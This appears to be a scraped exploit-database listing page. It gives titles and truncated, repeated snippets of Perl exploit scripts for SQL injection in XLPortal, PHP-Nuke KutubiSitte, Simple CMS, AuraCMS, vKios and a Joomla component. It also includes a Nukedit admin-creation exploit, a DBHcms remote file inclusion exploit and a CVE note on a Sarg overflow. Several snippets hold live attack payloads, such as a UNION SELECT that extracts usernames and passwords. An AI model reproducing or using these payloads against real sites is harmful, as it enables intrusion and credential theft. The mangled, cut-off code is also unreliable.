XLPortal <= 2.2.4 (search) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= XLPortal \r\n"; default pref is xlp / xlportal exit; $head = new LWP::UserAgent; $head-agent"Opera/9.26 Windows NT 5.1; U; pl"; my $request = HTTP::Request-newPOST =...

XLPortal 2.2.4 - Search SQL Injection

XLPortal 2.2.4 - Search SQL Injection !D:\Perl\Bin\Perl.exe use LWP::UserAgent; XLPortal \r\n"; default pref is xlp / xlportal exit; $head = new LWP::UserAgent; $head-agent"Opera/9.26 Windows NT 5.1; U; pl"; my $request = HTTP::Request-newPOST = $ARGV0."/index.php"; $buff =...

XLPortal 2.2.4 - 'Search' SQL Injection

!D:\Perl\Bin\Perl.exe use LWP::UserAgent; XLPortal \r\n"; default pref is xlp / xlportal exit; $head = new LWP::UserAgent; $head-agent"Opera/9.26 Windows NT 5.1; U; pl"; my $request = HTTP::Request-newPOST = $ARGV0."/index.php"; $buff =...

phpnukekutubisitte-sql.txt

!/usr/bin/perl use Getopt::Std; use LWP::UserAgent; sub usg printf" --------------------------- | PHP-NUKE KutubiSitte kid = SQL Injection | --------------------------- Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 -------------- :::::::::::::::::::::::::::::...

PHP-Nuke KutubiSitte &quot;kid&quot; SQL Injection exploit code adding

!/usr/bin/perl use Getopt::Std; use LWP::UserAgent; sub usg printf" --------------------------- | PHP-NUKE KutubiSitte kid = SQL Injection | --------------------------- Bug by Lovebug Exploit-Code by r080cy90r from RBT-4 ----------------------------- :::::::::::::::::::::::::::::...

PHP-Nuke KutubiSitte Module - 'kid' SQL Injection

source: https://www.securityfocus.com/bid/28126/info The KutubiSitte module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the...

CVE-2008-1167

Stack-based buffer overflow in the useragent function in useragent.c in Squid Analysis Report Generator Sarg 2.2.3.1 allows remote attackers to execute arbitrary code via a long Squid proxy server User-Agent header. NOTE: some of these details are obtained from third party information...

CVE-2008-1167: Improper Restriction of Operations within the Bounds of a Memory Buffer

Stack-based buffer overflow in the useragent function in useragent.c in Squid Analysis Report Generator Sarg 2.2.3.1 allows remote attackers to execute arbitrary code via a long Squid proxy server User-Agent header. NOTE: some of these details are obtained from third party information...

nukeditadmin-sql.txt

!/usr/bin/perl Title: Nukedit 4.9.x Create Admin Exploit Credit: r3dm0v3 http://r3dm0v3.persianblog.ir r3dm0v34tyahoodotcom Tehran - Iran Download: http://www.nukedit.com/content/Download.asp Vulnerables: 4.9.x, prior versions maybe affected. Remote: Yes Dork: "Powered by Nukedit" Fix: Not...

DBHcms <= 1.1.4 Remote File Inclusion exploit

Exploit for unknown platform in category web applications ============================================= DBHcms $shellurl = "http://localhost/s.txt"; print " DBHcms ; if$target ! /^http:/// $target = "http://".$target; if$target ! //$/ $target .= "/"; print "PHP code to evaluate? "; chomp$code=;...

Simple CMS &lt;= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Simple CMS = 1.0.3 ?area= Remote SQL Injection Exploit Code by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project http://www.spanish-hackers.com special thanks to ka0x print " "; print " Simple CMS = 1.0.3 Remote SQL...

AuraCMS 1.62 Multiple Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================== AuraCMS 1.62 Multiple Remote SQL Injection Exploit ================================================== !/usr/bin/perl Indonesian Newhack Security Advisory ----------------------------------...

Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Simple CMS new or die; my...

Simple CMS 1.0.3 - area SQL Injection

Simple CMS 1.0.3 - area SQL Injection !/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else...

Simple CMS 1.0.3 - 'area' SQL Injection

!/usr/bin/perl Simple CMS new or die; my $go=$cnx-get$victim."/indexen.php?area=-1+union+select+1,concat0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f,3,4,5+from+cpanelauthors/"; if $go-content = m/.?/ms print "$1\n"; else print "\n- exploit failed\n";...

Joomla! Component mediaslide - albumnum Blind SQL Injection

Joomla! Component mediaslide - albumnum Blind SQL Injection !/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table ...

joomlamedia-sql.txt

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

Joomla! Component mediaslide - 'albumnum' Blind SQL Injection

!/usr/bin/perl inphex joomla commediaslide blind sql injection use LWP::UserAgent; use LWP::Simple; use Switch; use Digest::MD5 qwmd5 md5hex md5base64; print "usage: $0 -h host.com -p /\n"; use Getopt::Long; $column = "username"; $table = "josusers"; $regex = "previewf2"; %cmn = "-h" = "host","-p...

vkios-sql.txt

!/usr/bin/perl Indonesian Newhack Security Advisory ------------------------------------ vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesian Newhack Technology |"; print "...

vKios <= 2.0.0 (products.php cat) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== vKios NTOS-Team-fl3xu5,k1tk4t,opt1lc use LWP::UserAgent; use Getopt::Long; if!$ARGV2 print "\n |-------------------------------------------------------|"; print "\n | Indonesia...